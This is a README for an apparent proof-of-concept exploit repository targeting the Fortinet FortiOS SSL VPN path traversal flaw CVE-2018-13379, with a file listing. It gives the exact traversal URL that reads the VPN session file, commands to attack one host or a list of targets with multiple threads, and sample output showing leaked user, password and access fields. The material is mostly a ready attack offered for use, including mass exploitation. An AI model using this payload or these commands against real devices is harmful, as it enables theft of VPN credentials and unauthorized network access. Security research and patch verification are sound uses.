An exploit for Fortinet CVE-2018-13379
# Fortinet FortiOS Exploit (CVE-2018-13379)
This Python script is a Proof-of-Concept (PoC) exploit for the Path Traversal vulnerability (CVE-2018-13379) in 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal, which allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.
It downloads the session file, which contains valuable information, user and password which allows us to login.
## Prerequisites
Before running the script, make sure you have:
- Python 3.x installed on your system.
- And run `pip install -r requirements.txt` to make sure the depndecies are satisfied.
## Usage
### Basic Example (Command Injection)
This command executes the exploit which in turn checks to see if the provided host is vulnerable, and if so it downloads the session file:
```bash
python3 cve-2018-13379.py -i 192.168.0.1:10443
```
This command does the same thing, but gets a list of new line seperated IP addresses as input and checks all of them and exploits all vulnerable hosts.
you can also specify a number of threads (optional):
```bash
python3 cve-2018-13379.py -f targets.txt -n 10
```
### Example Output
When the exploit runs successfully, you should see output similar to this:
```bash
Checking 192.168.0.1:10443
[*] Web session at: https://192.168.0.1:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
var fgt_lang = ....f.............................".=F.T......
..Fg..Fg..Fg.5.122.221.72........................USER.
........PASSWORD...........................................
...............X_SSLVPN.........................full-acces
s............................................................
.....root....................................................
...U.........................................................
```
### License
This project is licensed under the MIT License.
[4.0K] /data/pocs/81503108f6ec96e6fb60694f200e41bf6c628349
├── [3.1K] cve-2018-13379.py
├── [1.0K] LICENSE
├── [1.9K] README.md
└── [ 16] requirements.txt
0 directories, 4 files